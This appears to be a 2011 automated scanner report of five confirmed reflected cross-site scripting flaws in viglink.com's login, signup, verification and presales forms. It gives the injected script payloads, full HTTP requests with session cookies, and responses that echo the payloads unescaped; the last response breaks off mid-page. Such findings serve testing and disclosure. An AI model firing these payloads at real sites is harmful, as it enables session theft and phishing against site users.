XSS, Cross Site Scripting, CWE-79, CAPEC-86, www.viglink.com/users/action/login

- /users/action/send-verification

/users/action/send-verification CONFIRMED

https://www.viglink.com/users/action/send-verification

Parameters

Parameter	Type	Value
email	POST	'"--></style></script><script>alert(0x00041F)</script>

Request

POST /users/action/send-verification HTTP/1.1
Referer: https://www.viglink.com/users/send-verification
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.viglink.com
Cookie: JSESSIONID=A406683588D7BD88342AC125C6ACA8B1; vglnk.Agent.p=bfddb90717c6db6b0a7878196952ce96
Content-Length: 91
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

email='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x00041F)%3c%2fscript%3e

Response

HTTP/1.0 200 OK
Date: Mon, 18 Apr 2011 23:52:10 GMT
Expires: -1
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: JSESSIONID=195320B75C60819447CDA4AC0D54C0D6; Path=/; Secure
Content-Type: text/html;charset=UTF-8
Content-Language: en
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 2121
Connection: close

<!doctype html><html lang="en" xmlns:og="http://ogp.me/ns#" xmlns:fb="http://www.facebook.com/2008/fbml"><head> <title>VigLink - Verify</title> <meta http-equiv="Content-type" content="text/html; charset=utf-8"/> <meta name="keywords" content="affiliate marketing, monetization, content, optimization"/> <meta name="description" content="Your links can be doing more. Unlock the power of your site's links and earn extra money from your site automatically, transparently and honestly."/> <meta property="og:title" content="VigLink"/> <meta property="og:type" content="company"/> <meta property="og:url" content="http://www.viglink.com/"/> <meta property="og:image" content="http://www.viglink.com/public/images/logo-icon-small.png"/> <meta property="og:latitude" content="37.7801339"/> <meta property="og:longitude" content="-122.396744"/> <meta property="og:street-address" content="539 Bryant St Suite 400"/> <meta property="og:locality" content="San Francisco"/> <meta property="og:region" content="CA"/> <meta property="og:postal-code" content="94107"/> <meta property="og:country-name" content="USA"/> <meta property="og:email" content="info@viglink.com"/> <meta property="og:phone_number" content="+1 (415) 963-9826"/> <meta property="og:fax_number" content="+1 (415) 520-6695"/> <meta property="og:site_name" content="VigLink"/> <meta property="fb:admins" content="6003321,705684"/> <link rel="icon" type="image/png" href="/public/images/favicon.png"/> <link rel="alternate" type="application/rss+xml" title="VigLink Blog » Feed" href="http://blog.viglink.com/feed/" /> <script type="text/javascript"> var ENV = { account: { }, cookie: { domain: '.viglink.com', suffix: 'p' ? '.p' : '' } }; </script> <link rel="stylesheet" type="text/css" href="/combined.css.h-1806938078.pack" charset="utf-8"/><script type="text/javascript" src="/combined.js.h898114336.pack" charset="utf-8"></script></head><body> <div id="header"> <div class="content"> <h1><a href="/">VigLink</a></h1> <ul class="navigation"> <li><a href="/jobs" class="jobs">We're Hiring!</a></li><li><a href="/corp/publishers">Publishers</a></li><li><a href="/corp/merchants">Merchants</a></li><li><a href="/support/faq">FAQ</a></li><li><a href="http://blog.viglink.com/">Blog</a></li></ul><span class="delimiter"></span> <ul class="navigation"> <li><a href="/users/signup">Sign Up</a></li><li><a href="/users/login">Log In</a></li></ul> </div></div><div id="body"> <div id="flash" class="error"> <p>'"--></style></script><script>netsparker(0x00041F)</script> is not a registered account.</p><div class="left corner"></div> <div class="right corner"></div> </div><div class="column span-8"> <h2>Send Verification Email</h2> <p> Complete this form to receive a verification email and activate your account or reset your password. If you are not receiving email from us, try adding system@viglink.com to your address book. <p> <form action="/users/action/send-verification" class="verify_email" id="verify_email" method="post"> <label for="email">Email</label> <input id="email" name="email" size="30" type="text" value="'"--></style></script><script>netsparker(0x00041F)</script>"/> <input name="commit" type="submit" value="Send Email"/> </form></div></div> <div id="footer"> <ul class="navigation"> <li><a href="/jobs" class="jobs">We're Hiring!</a></li><li><a href="/corp/publishers">Publishers</a></li><li><a href="/corp/merchants">Merchants</a></li><li><a href="/support/faq">FAQ</a></li><li><a href="http://blog.viglink.com/">Blog</a></li></ul><ul class="social navigation"> <li class="twitter"><a href="http://www.twitter.com/viglink"><strong>Follow us</strong> on Twitter</a></li> <li class="facebook"><a href="http://www.facebook.com/viglink"><strong>Become a fan</strong> on Facebook</a></li> </ul> <ul class="minor navigation"> <li><a href="/about">About</a></li> <li><a href="/jobs">Jobs</a></li> <li><a href="/about/press">Press</a></li> <li><a href="/policies/tos">Terms of Service</a></li> <li><a href="/policies/privacy">Privacy Policy</a></li> <li><a href="/policies/ftc">FTC Disclosure</a></li> <li><a href="/support">Contact Us</a></li> </ul> <span> © VigLink 2011</span></div><script type="text/javascript"> var is_ssl = ("https:" == document.location.protocol); var asset_host = is_ssl ? "https://s3.amazonaws.com/getsatisfaction.com/" : "http://s3.amazonaws.com/getsatisfaction.com/"; document.write(unescape("%3Cscript src='" + asset_host + "javascripts/feedback-v2.js' type='text/javascript'%3E%3C/script%3E")); </script> <script type="text/javascript"> (function() { try { new GSFN.feedback_widget({ display: "overlay", company: "viglink", placement: "right", color: ";", style: "question" }); } catch(err) {} })(); </script> <script type="text/javascript"> var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www."); document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E")); </script> <script type="text/javascript"> try { var pageTracker = _gat._getTracker("UA-8560005-1"); pageTracker._trackPageview(); } catch(err) {} </script> </body></html>

- /users/action/login

/users/action/login CONFIRMED

https://www.viglink.com/users/action/login

Parameters

Parameter	Type	Value
authRedirect	POST	/users/
email	POST	'"--></style></script><script>alert(0x00043F)</script>
password	POST	3

Request

POST /users/action/login HTTP/1.1
Referer: https://www.viglink.com/users/login?_ek=tl&ar=%2Fusers%2F
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.viglink.com
Cookie: JSESSIONID=B6B3B4173879BB67AB8A8378D7CDCFA6; vglnk.Agent.p=bfddb90717c6db6b0a7878196952ce96
Content-Length: 127
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

authRedirect=%2fusers%2f&email='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x00043F)%3c%2fscript%3e&password=3

Response

HTTP/1.0 200 OK
Date: Mon, 18 Apr 2011 23:52:16 GMT
Expires: -1
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Type: text/html;charset=UTF-8
Content-Language: en
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 2045
Connection: close

<!doctype html><html lang="en" xmlns:og="http://ogp.me/ns#" xmlns:fb="http://www.facebook.com/2008/fbml"><head> <title>VigLink - Sign In</title> <meta http-equiv="Content-type" content="text/html; charset=utf-8"/> <meta name="keywords" content="affiliate marketing, monetization, content, optimization"/> <meta name="description" content="Your links can be doing more. Unlock the power of your site's links and earn extra money from your site automatically, transparently and honestly."/> <meta property="og:title" content="VigLink"/> <meta property="og:type" content="company"/> <meta property="og:url" content="http://www.viglink.com/"/> <meta property="og:image" content="http://www.viglink.com/public/images/logo-icon-small.png"/> <meta property="og:latitude" content="37.7801339"/> <meta property="og:longitude" content="-122.396744"/> <meta property="og:street-address" content="539 Bryant St Suite 400"/> <meta property="og:locality" content="San Francisco"/> <meta property="og:region" content="CA"/> <meta property="og:postal-code" content="94107"/> <meta property="og:country-name" content="USA"/> <meta property="og:email" content="info@viglink.com"/> <meta property="og:phone_number" content="+1 (415) 963-9826"/> <meta property="og:fax_number" content="+1 (415) 520-6695"/> <meta property="og:site_name" content="VigLink"/> <meta property="fb:admins" content="6003321,705684"/> <link rel="icon" type="image/png" href="/public/images/favicon.png"/> <link rel="alternate" type="application/rss+xml" title="VigLink Blog » Feed" href="http://blog.viglink.com/feed/" /> <script type="text/javascript"> var ENV = { account: { }, cookie: { domain: '.viglink.com', suffix: 'p' ? '.p' : '' } }; </script> <link rel="stylesheet" type="text/css" href="/combined.css.h-1806938078.pack" charset="utf-8"/><script type="text/javascript" src="/combined.js.h898114336.pack" charset="utf-8"></script></head><body> <div id="header"> <div class="content"> <h1><a href="/">VigLink</a></h1> <ul class="navigation"> <li><a href="/jobs" class="jobs">We're Hiring!</a></li><li><a href="/corp/publishers">Publishers</a></li><li><a href="/corp/merchants">Merchants</a></li><li><a href="/support/faq">FAQ</a></li><li><a href="http://blog.viglink.com/">Blog</a></li></ul></div></div><div id="body"> <div id="flash" class="error"> <p>Incorrect email/password.</p><div class="left corner"></div> <div class="right corner"></div> </div><div class="column span-8"> <h2>Log In</h2> <form action="https://www.viglink.com/users/action/login" method="post"> <input type="hidden" name="authRedirect" value=""/> <label for="email">Email:</label> <input id="email" name="email" size="30" type="text" value="'"--></style></script><script>netsparker(0x00043F)</script>" placeholder="you@example.com"/> <label for="password">Password:</label> <input id="password" name="password" size="30" type="password"/> <button type="submit">Log In</button> <ul class="actions"> <li><a href="/users/send-verification">I forgot my password</a></li> <li>Need an account? <a href="/users/signup">Sign up</a></li> </ul> </form></div></div> <div id="footer"> <ul class="navigation"> <li><a href="/jobs" class="jobs">We're Hiring!</a></li><li><a href="/corp/publishers">Publishers</a></li><li><a href="/corp/merchants">Merchants</a></li><li><a href="/support/faq">FAQ</a></li><li><a href="http://blog.viglink.com/">Blog</a></li></ul><ul class="social navigation"> <li class="twitter"><a href="http://www.twitter.com/viglink"><strong>Follow us</strong> on Twitter</a></li> <li class="facebook"><a href="http://www.facebook.com/viglink"><strong>Become a fan</strong> on Facebook</a></li> </ul> <ul class="minor navigation"> <li><a href="/about">About</a></li> <li><a href="/jobs">Jobs</a></li> <li><a href="/about/press">Press</a></li> <li><a href="/policies/tos">Terms of Service</a></li> <li><a href="/policies/privacy">Privacy Policy</a></li> <li><a href="/policies/ftc">FTC Disclosure</a></li> <li><a href="/support">Contact Us</a></li> </ul> <span> © VigLink 2011</span></div><script type="text/javascript"> var is_ssl = ("https:" == document.location.protocol); var asset_host = is_ssl ? "https://s3.amazonaws.com/getsatisfaction.com/" : "http://s3.amazonaws.com/getsatisfaction.com/"; document.write(unescape("%3Cscript src='" + asset_host + "javascripts/feedback-v2.js' type='text/javascript'%3E%3C/script%3E")); </script> <script type="text/javascript"> (function() { try { new GSFN.feedback_widget({ display: "overlay", company: "viglink", placement: "right", color: ";", style: "question" }); } catch(err) {} })(); </script> <script type="text/javascript"> var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www."); document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E")); </script> <script type="text/javascript"> try { var pageTracker = _gat._getTracker("UA-8560005-1"); pageTracker._trackPageview(); } catch(err) {} </script> </body></html>

- /users/action/send-verification

/users/action/send-verification CONFIRMED

https://www.viglink.com/users/action/send-verification

Parameters

Parameter	Type	Value
email	POST	'"--></style></script><script>alert(0x000473)</script>
commit	POST	Send Email

Request

POST /users/action/send-verification HTTP/1.1
Referer: https://www.viglink.com/users/send-verification
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.viglink.com
Cookie: JSESSIONID=25E61EE723B255F4A5709C0107955670; vglnk.Agent.p=bfddb90717c6db6b0a7878196952ce96
Content-Length: 109
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

email='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x000473)%3c%2fscript%3e&commit=Send+Email

Response

HTTP/1.0 200 OK
Date: Mon, 18 Apr 2011 23:52:26 GMT
Expires: -1
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: JSESSIONID=82C8C30DB5F593AAFD06AAB37D2AA412; Path=/; Secure
Content-Type: text/html;charset=UTF-8
Content-Language: en
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 2121
Connection: close

<!doctype html><html lang="en" xmlns:og="http://ogp.me/ns#" xmlns:fb="http://www.facebook.com/2008/fbml"><head> <title>VigLink - Verify</title> <meta http-equiv="Content-type" content="text/html; charset=utf-8"/> <meta name="keywords" content="affiliate marketing, monetization, content, optimization"/> <meta name="description" content="Your links can be doing more. Unlock the power of your site's links and earn extra money from your site automatically, transparently and honestly."/> <meta property="og:title" content="VigLink"/> <meta property="og:type" content="company"/> <meta property="og:url" content="http://www.viglink.com/"/> <meta property="og:image" content="http://www.viglink.com/public/images/logo-icon-small.png"/> <meta property="og:latitude" content="37.7801339"/> <meta property="og:longitude" content="-122.396744"/> <meta property="og:street-address" content="539 Bryant St Suite 400"/> <meta property="og:locality" content="San Francisco"/> <meta property="og:region" content="CA"/> <meta property="og:postal-code" content="94107"/> <meta property="og:country-name" content="USA"/> <meta property="og:email" content="info@viglink.com"/> <meta property="og:phone_number" content="+1 (415) 963-9826"/> <meta property="og:fax_number" content="+1 (415) 520-6695"/> <meta property="og:site_name" content="VigLink"/> <meta property="fb:admins" content="6003321,705684"/> <link rel="icon" type="image/png" href="/public/images/favicon.png"/> <link rel="alternate" type="application/rss+xml" title="VigLink Blog » Feed" href="http://blog.viglink.com/feed/" /> <script type="text/javascript"> var ENV = { account: { }, cookie: { domain: '.viglink.com', suffix: 'p' ? '.p' : '' } }; </script> <link rel="stylesheet" type="text/css" href="/combined.css.h-1806938078.pack" charset="utf-8"/><script type="text/javascript" src="/combined.js.h898114336.pack" charset="utf-8"></script></head><body> <div id="header"> <div class="content"> <h1><a href="/">VigLink</a></h1> <ul class="navigation"> <li><a href="/jobs" class="jobs">We're Hiring!</a></li><li><a href="/corp/publishers">Publishers</a></li><li><a href="/corp/merchants">Merchants</a></li><li><a href="/support/faq">FAQ</a></li><li><a href="http://blog.viglink.com/">Blog</a></li></ul><span class="delimiter"></span> <ul class="navigation"> <li><a href="/users/signup">Sign Up</a></li><li><a href="/users/login">Log In</a></li></ul> </div></div><div id="body"> <div id="flash" class="error"> <p>'"--></style></script><script>netsparker(0x000473)</script> is not a registered account.</p><div class="left corner"></div> <div class="right corner"></div> </div><div class="column span-8"> <h2>Send Verification Email</h2> <p> Complete this form to receive a verification email and activate your account or reset your password. If you are not receiving email from us, try adding system@viglink.com to your address book. <p> <form action="/users/action/send-verification" class="verify_email" id="verify_email" method="post"> <label for="email">Email</label> <input id="email" name="email" size="30" type="text" value="'"--></style></script><script>netsparker(0x000473)</script>"/> <input name="commit" type="submit" value="Send Email"/> </form></div></div> <div id="footer"> <ul class="navigation"> <li><a href="/jobs" class="jobs">We're Hiring!</a></li><li><a href="/corp/publishers">Publishers</a></li><li><a href="/corp/merchants">Merchants</a></li><li><a href="/support/faq">FAQ</a></li><li><a href="http://blog.viglink.com/">Blog</a></li></ul><ul class="social navigation"> <li class="twitter"><a href="http://www.twitter.com/viglink"><strong>Follow us</strong> on Twitter</a></li> <li class="facebook"><a href="http://www.facebook.com/viglink"><strong>Become a fan</strong> on Facebook</a></li> </ul> <ul class="minor navigation"> <li><a href="/about">About</a></li> <li><a href="/jobs">Jobs</a></li> <li><a href="/about/press">Press</a></li> <li><a href="/policies/tos">Terms of Service</a></li> <li><a href="/policies/privacy">Privacy Policy</a></li> <li><a href="/policies/ftc">FTC Disclosure</a></li> <li><a href="/support">Contact Us</a></li> </ul> <span> © VigLink 2011</span></div><script type="text/javascript"> var is_ssl = ("https:" == document.location.protocol); var asset_host = is_ssl ? "https://s3.amazonaws.com/getsatisfaction.com/" : "http://s3.amazonaws.com/getsatisfaction.com/"; document.write(unescape("%3Cscript src='" + asset_host + "javascripts/feedback-v2.js' type='text/javascript'%3E%3C/script%3E")); </script> <script type="text/javascript"> (function() { try { new GSFN.feedback_widget({ display: "overlay", company: "viglink", placement: "right", color: ";", style: "question" }); } catch(err) {} })(); </script> <script type="text/javascript"> var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www."); document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E")); </script> <script type="text/javascript"> try { var pageTracker = _gat._getTracker("UA-8560005-1"); pageTracker._trackPageview(); } catch(err) {} </script> </body></html>

- /users/action/signup

/users/action/signup CONFIRMED

https://www.viglink.com/users/action/signup

Parameters

Parameter	Type	Value
email	POST	'"--></style></script><script>alert(0x0004A8)</script>

Request

POST /users/action/signup HTTP/1.1
Referer: https://www.viglink.com/users/signup
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.viglink.com
Cookie: JSESSIONID=7572B98F9F6CD9141BDF20CE02DD3304; vglnk.Agent.p=2a85645e86606155fb48bdd87df159eb
Content-Length: 91
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

email='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x0004A8)%3c%2fscript%3e

Response

HTTP/1.0 200 OK
Date: Mon, 18 Apr 2011 23:52:32 GMT
Expires: -1
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Type: text/html;charset=UTF-8
Content-Language: en
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 2311
Connection: close

<!doctype html><html lang="en" xmlns:og="http://ogp.me/ns#" xmlns:fb="http://www.facebook.com/2008/fbml"><head> <title>VigLink - Sign Up</title> <meta http-equiv="Content-type" content="text/html; charset=utf-8"/> <meta name="keywords" content="affiliate marketing, monetization, content, optimization"/> <meta name="description" content="Your links can be doing more. Unlock the power of your site's links and earn extra money from your site automatically, transparently and honestly."/> <meta property="og:title" content="VigLink"/> <meta property="og:type" content="company"/> <meta property="og:url" content="http://www.viglink.com/"/> <meta property="og:image" content="http://www.viglink.com/public/images/logo-icon-small.png"/> <meta property="og:latitude" content="37.7801339"/> <meta property="og:longitude" content="-122.396744"/> <meta property="og:street-address" content="539 Bryant St Suite 400"/> <meta property="og:locality" content="San Francisco"/> <meta property="og:region" content="CA"/> <meta property="og:postal-code" content="94107"/> <meta property="og:country-name" content="USA"/> <meta property="og:email" content="info@viglink.com"/> <meta property="og:phone_number" content="+1 (415) 963-9826"/> <meta property="og:fax_number" content="+1 (415) 520-6695"/> <meta property="og:site_name" content="VigLink"/> <meta property="fb:admins" content="6003321,705684"/> <link rel="icon" type="image/png" href="/public/images/favicon.png"/> <link rel="alternate" type="application/rss+xml" title="VigLink Blog » Feed" href="http://blog.viglink.com/feed/" /> <script type="text/javascript"> var ENV = { account: { }, cookie: { domain: '.viglink.com', suffix: 'p' ? '.p' : '' } }; </script> <link rel="stylesheet" type="text/css" href="/combined.css.h-1806938078.pack" charset="utf-8"/><link rel="stylesheet" type="text/css" href="/combined.css.h123230883.pack" charset="utf-8"/><script type="text/javascript" src="/combined.js.h898114336.pack" charset="utf-8"></script></head><body> <div id="header"> <div class="content"> <h1><a href="/">VigLink</a></h1> <ul class="navigation"> <li><a href="/jobs" class="jobs">We're Hiring!</a></li><li><a href="/corp/publishers">Publishers</a></li><li><a href="/corp/merchants">Merchants</a></li><li><a href="/support/faq">FAQ</a></li><li><a href="http://blog.viglink.com/">Blog</a></li></ul></div></div><div id="body"> <div id="flash" class="error"> <p>''"--></style></script><script>netsparker(0x0004A8)</script>' is not a valid email address.</p><div class="left corner"></div> <div class="right corner"></div> </div><ul class="navigation"> <li class=" selected"><span class="step">1</span>Sign Up</li><li><span class="step">2</span>Verify Your Account</li><li><span class="step">3</span>Install VigLink on Your Sites</li></ul><h2>Sign Up</h2><form action="/users/action/signup" method="post" id="signup-email-form"> <label for="email">Email:</label> <input id="email" name="email" size="30" type="text" value="'"--></style></script><script>netsparker(0x0004A8)</script>" placeholder="you@example.com"/> <button type="submit">Join Free</button> <ul class="actions"> <li>Already have an account? <a href="/users/login">Log in</a></li> </ul></form><script type="text/javascript"> if( ! $('#flash').length && location.search.match( /[?&]dr=/i ) ) { $(document).ready( function() { flash.news( '<h4>Driving Revenue is now part of VigLink!</h4> Find out more on the\ <a href="http://blog.viglink.com/2010/08/02/viglink-acquires-driving-revenue/">\ VigLink blog</a>. Sign up now to get all of the benefits of\ Driving Revenue with VigLink.' ); $('#flash').addClass('dr'); } ); }</script></div> <div id="footer"> <ul class="navigation"> <li><a href="/jobs" class="jobs">We're Hiring!</a></li><li><a href="/corp/publishers">Publishers</a></li><li><a href="/corp/merchants">Merchants</a></li><li><a href="/support/faq">FAQ</a></li><li><a href="http://blog.viglink.com/">Blog</a></li></ul><ul class="social navigation"> <li class="twitter"><a href="http://www.twitter.com/viglink"><strong>Follow us</strong> on Twitter</a></li> <li class="facebook"><a href="http://www.facebook.com/viglink"><strong>Become a fan</strong> on Facebook</a></li> </ul> <ul class="minor navigation"> <li><a href="/about">About</a></li> <li><a href="/jobs">Jobs</a></li> <li><a href="/about/press">Press</a></li> <li><a href="/policies/tos">Terms of Service</a></li> <li><a href="/policies/privacy">Privacy Policy</a></li> <li><a href="/policies/ftc">FTC Disclosure</a></li> <li><a href="/support">Contact Us</a></li> </ul> <span> © VigLink 2011</span></div><script type="text/javascript"> var is_ssl = ("https:" == document.location.protocol); var asset_host = is_ssl ? "https://s3.amazonaws.com/getsatisfaction.com/" : "http://s3.amazonaws.com/getsatisfaction.com/"; document.write(unescape("%3Cscript src='" + asset_host + "javascripts/feedback-v2.js' type='text/javascript'%3E%3C/script%3E")); </script> <script type="text/javascript"> (function() { try { new GSFN.feedback_widget({ display: "overlay", company: "viglink", placement: "right", color: ";", style: "question" }); } catch(err) {} })(); </script> <script type="text/javascript"> var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www."); document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E")); </script> <script type="text/javascript"> try { var pageTracker = _gat._getTracker("UA-8560005-1"); pageTracker._trackPageview(); } catch(err) {} </script> </body></html>

- /users/action/presales

/users/action/presales CONFIRMED

http://www.viglink.com/users/action/presales

Parameters

Parameter	Type	Value
email	POST	you@example.com
domain	POST	'"--></style></script><script>alert(0x000504)</script>

Request

POST /users/action/presales HTTP/1.1
Referer: http://www.viglink.com/corp/publishers
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.viglink.com
Cookie: JSESSIONID=DC92E13870D74AEEFB7C26AEB8FE179F; vglnk.Agent.p=2a85645e86606155fb48bdd87df159eb
Content-Length: 116
Accept-Encoding: gzip, deflate

email=you%40example.com&domain='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x000504)%3c%2fscript%3e

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate
Content-Encoding:
Content-Language: en
Content-Type: text/html;charset=UTF-8
Date: Mon, 18 Apr 2011 23:52:40 GMT
Expires: -1
Pragma: no-cache
Set-Cookie: JSESSIONID=7190EE1415B13377F192FAD71B8735E4; Path=/
Vary: Accept-Encoding
Content-Length: 3698
Connection: keep-alive

<!doctype html><html lang="en" xmlns:og="http://ogp.me/ns#" xmlns:fb="http://www.facebook.com/2008/fbml"><head> <title>VigLink - Publishers</title> <meta http-equiv="Content-type" content="text/html; charset=utf-8"/> <meta name="keywords" content="affiliate marketing, monetization, content, optimization"/> <meta name="description" content="Your links can be doing more. Unlock the power of your site's links and earn extra money from your site automatically, transparently and honestly."/> <meta property="og:title" content="VigLink"/> <meta property="og:type" content="company"/> <meta property="og:url" content="http://www.viglink.com/"/> <meta property="og:image" content="http://www.viglink.com/public/images/logo-icon-small.png"/> <meta property="og:latitude" content="37.7801339"/> <meta property="og:longitude" content="-122.396744"/> <meta property="og:street-address" content="539 Bryant St Suite 400"/> <meta property="og:locality" content="San Francisco"/> <meta property="og:region" content="CA"/> <meta property="og:postal-code" content="94107"/> <meta property="og:country-name" content="USA"/> <meta property="og:email" content="info@viglink.com"/> <meta property="og:phone_number" content="+1 (415) 963-9826"/> <meta property="og:fax_number" content="+1 (415) 520-6695"/> <meta property="og:site_name" content="VigLink"/> <meta property="fb:admins" content="6003321,705684"/> <link rel="icon" type="image/png" href="/public/images/favicon.png"/> <link rel="alternate" type="application/rss+xml" title="VigLink Blog » Feed" href="http://blog.viglink.com/feed/" /> <script type="text/javascript"> var ENV = { account: { }, cookie: { domain: '.viglink.com', suffix: 'p' ? '.p' : '' } }; </script> <link rel="stylesheet" type="text/css" href="/combined.css.h-1806938078.pack" charset="utf-8"/><link rel="stylesheet" type="text/css" href="/combined.css.h370935560.pack" charset="utf-8"/><script type="text/javascript" src="/combined.js.h898114336.pack" charset="utf-8"></script><script type="text/javascript" src="/combined.js.h1095210803.pack" charset="utf-8"></script></head><body> <div id="header"> <div class="content"> <h1><a href="/">VigLink</a></h1> <ul class="navigation"> <li><a href="/jobs" class="jobs">We're Hiring!</a></li><li class=" selected"><a href="/corp/publishers">Publishers</a></li><li><a href="/corp/merchants">Merchants</a></li><li><a href="/support/faq">FAQ</a></li><li><a href="http://blog.viglink.com/">Blog</a></li></ul><span class="delimiter"></span> <ul class="navigation"> <li><a href="/users/signup">Sign Up</a></li><li><a href="/users/login">Log In</a></li></ul> </div></div><div id="body"> <div id="flash" class="error"> <p>Invalid website ''"--></style></script><script>netsparker(0x000504)</script>'</p><div class="left corner"></div> <div class="right corner"></div> </div><div id="subheader">
<h2 class="tagline">
Are you leaving money on the table?</h2>

<div class="column span-8">
<p class="intro">
Install VigLink on your site with a few lines of HTML and be instantly
enrolled in thousands of affiliate programs. Even before you make your
first cent, our analytics will help you find your most valuable links.
</p>
</div>

<div class="column span-4">
<a href="/users/signup" class="default button">Try it, it's free</a>
</div>
</div>

<div>
<div class="column span-7">
<h3>The universal affiliate program</h3>

<p>
There are <strong>more than 12,500 sites</strong> that pay commissions for
your traffic!
</p>

<ul>
<li>They each have a signup form.</li>
<li>They each have different ways to link with codes that go stale quickly.</li>
<li>They each have minimums that you need to reach or you'll never get paid.</li>
</ul>

<p>
<strong>One quick and easy install from VigLink and all those problems are
solved!</strong> Automatically participate in every program. Stay up to
date when merchants change their link codes. Enjoy one global minimum
across every program. You'll never have to register for an affiliate
program again!
</p>
</div>

<div id="logos" class="column span-5">
<ul class="logos">
</ul>
<a href="/partners">More Partners</a>
</div>
</div>

<div>
<div class="column span-5" id="analytics">
<img src="/public/images/features/analytics.png" width="345" height="219" alt="Charts and graphs" id="analytics"/>
</div>

<div class="column span-7">
<h3>Powerful analytics for new insight</h3>

<p>
VigLink provides <strong>comprehensive, real-time reports</strong> that
give you insight into what your visitors do both on your site and after
they leave. See which links are driving the most traffic from your site to
other places across the web, which links have made you the most money,
what products you've helped to sell through affiliated merchants, and much
more.
</p>

<p>
Dig through your stats in our dashboard, or download the raw data to slice
and dice with your favorite reporting tools.
</p>
</div>
</div>

<div>
<div class="column span-7">
<h3>Setup is free and easy</h3>

<p>
Just <strong>paste a few lines of HTML</strong> into your site. That's it.
Link to other sites the same way you always have. With VigLink there
aren't any special link codes for you to remember. We'll automatically add
them when visitors click a link to leave your site.
</p>
</div>

<div class="column span-5">
<img src="/public/images/features/snippet.png" width="345" height="114" alt="HTML snippet"/>
</div>
</div>

<div id="subfooter">
<ul>
<li>
Have you lost relationships with merchants because your state has passed
tax laws for online retail? We may be able to help, find out more
<a href="http://blog.viglink.com/2010/03/31/helping-affiliates-caught-in-the-tax-debate/">on our blog</a>.
</li>
<li>
We have a
<a href="http://blog.viglink.com/2010/05/11/refer-a-publisher-earn-10-percent/">referral
program</a>! Refer a new publisher and receive 10% of the commissions they
earn for one year.
</li>
<li>
Wondering whether we support affiliation for a specific merchant? Members
can <a href="/tools/coverage">search the list</a>. If you do find one we
don't support, check again soon. The list is growing every day.
</li>
</ul>
</div>

<div>
<div id="signup" class="column span-50p">
<a href="/users/signup" class="default button">Sign up today</a>
</div>

<div id="presales" class="column span-50p">
<h4>Not quite ready?</h4>

<p>
You don't have to sign up to see how VigLink could work for you. We'll
analyze your site and prepare a report detailing which kinds of links
your site already includes, and which could be earning you money with
VigLink.
</p>

<form action="/users/action/presales" method="post">
<label for="email">Email:</label>
<input id="email" name="email" size="30" type="text" value="" placeholder="you@example.com"/>
<label for="domain">Web Site:</label>
<input id="domain" name="domain" size="30" type="text" value="'"--></style></script><script>netsparker(0x000504)</script>" placeholder="example.com"/>
<button type="submit">Generate Report</button>
</form>
</div>
</div>
<p>
Still got questions? Get <a href="/support">answers</a>, or see a
<a href="/demo">demo</a>.
</p>
</div> <div id="footer"> <ul class="navigation"> <li><a href="/jobs" class="jobs">We're Hiring!</a></li><li class=" selected"><a href="/corp/publishers">Publishers</a></li><li><a href="/corp/merchants">Merchants</a></li><li><a href="/support/faq">FAQ</a></li><li><a href="http://blog.viglink.com/">Blog</a></li></ul><ul class="social navigation"> <li class="twitter"><a href="http://www.twitter.com/viglink"><strong>Follow us</strong> on Twitter</a></li> <li class="facebook"><a href="http://www.facebook.com/viglink"><strong>Become a fan</strong> on Facebook</a></li> </ul> <ul class="minor navigation"> <li><a href="/about">About</a></li> <li><a href="/jobs">Jobs</a></li> <li><a href="/about/press">Press</a></li> <li><a href="/policies/tos">Terms of Service</a></li> <li><a href="/policies/privacy">Privacy Policy</a></li> <li><a href="/policies/ftc">FTC Disclosure</a></li> <li><a href="/support">Contact Us</a></li> </ul> <span> © VigLink 2011</span></div><script type="text/javascript"> var is_ssl = ("https:" == document.location.protocol); var asset_host = is_ssl ? "https://s3.amazonaws.com/getsatisfaction.com/" : 